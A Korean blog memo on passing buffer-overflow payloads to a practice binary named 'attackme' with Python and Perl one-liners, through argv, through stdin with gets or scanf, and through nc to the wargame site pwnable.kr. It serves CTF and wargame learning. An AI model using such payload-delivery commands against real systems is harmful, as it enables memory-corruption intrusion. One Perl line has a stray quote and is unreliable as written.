일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 리리남매
- 킹덤 고근희
- 유튜버 김재석
- 해킹
- 김재석
- 이지혜
- 고민정
- 김영권
- 성남은혜의강교회
- 성남 코로나 확진자
- 스콜피온킹
- 이상형 만들기
- 은혜의 강 교회
- 미국 금리인하
- 제넥신
- 뭉쳐야 찬다
- 양적완화
- 금리인하
- 불가피
- libtins
- 픽크루
- 스페인 코로나
- 김영권 아내
- 홍혜걸
- 폰폰테스트
- 최강욱
- 학교 개학 연기 4월
- 조희연
- 이태원 클라쓰 15회 예고
- 임영규
- Today
- Total
Dork's port
Python, Perl Bufferover Flow 인자 전달 명령어 Command Line command 본문
까먹을 것 같아서 정리해둡니다.
프로그램에서 인자를 전달 받는 방법은 2가지가 있는데 프로그램 실행시 동시에 입력받는 argv 및 프로그램 실행 후
코드내에서 gets나 scanf를 이용하여 받는 방법이 있습니다.
이때 268개의 A와 0xdeadbeef의 인자를 attackme라는 프로그램에 전달한다고 가정 하겠습니다.
#프로그램 실행시 인자 전달 방법(argv) |
Python
$ ./attackme $(python -c 'print "A"*268 + "\xef\xbe\xad\xde"')
Perl
$ ./attackme $(perl -e 'print "A"x268 . "\xef\xbe\xad\xde"')
#프로그램 실행 후 인자 전달 방법(gets, scanf 등) |
Python
$ (python -c 'import sys ; sys.stdout.write("A"*268+"\xef\xbe\xad\xde")' ;cat) | ./attackme
$ (python -c 'print "A"*268 + "\xef\xbe\xad\xde"' ;cat ) | ./attackme
Perl
$ (perl -e 'print "A"x268" . "\xef\xbe\xad\xde" ;cat) | ./attackme
#nc 인자 전달 방법 |
Python
$ (python -c 'import sys ; sys.stdout.write("A"*268+"\xef\xbe\xad\xde")' ;cat) | nc pwnable.kr 1234
$ (python -c 'print "A"*268 + "\xef\xbe\xad\xde"' ;cat ) | nc pwnable.kr 12345
참조 : https://stackoverflow.com/questions/40320376/why-my-exploit-in-perl-work-but-it-doesnt-in-python
'Develop' 카테고리의 다른 글
음성변조 복원, 음성 변조하기 (Voice Modulation) (1) | 2018.12.21 |
---|---|
Git ID, Password 저장하기 (0) | 2018.06.07 |
MacOS에서 아두이노 시작하기 (0) | 2018.03.20 |
Python 문자열 앞의 공백 지우기 (0) | 2018.03.16 |
Pycharm indexing 무한 반복(indexing infinite loop) 해결 방법 (0) | 2018.03.16 |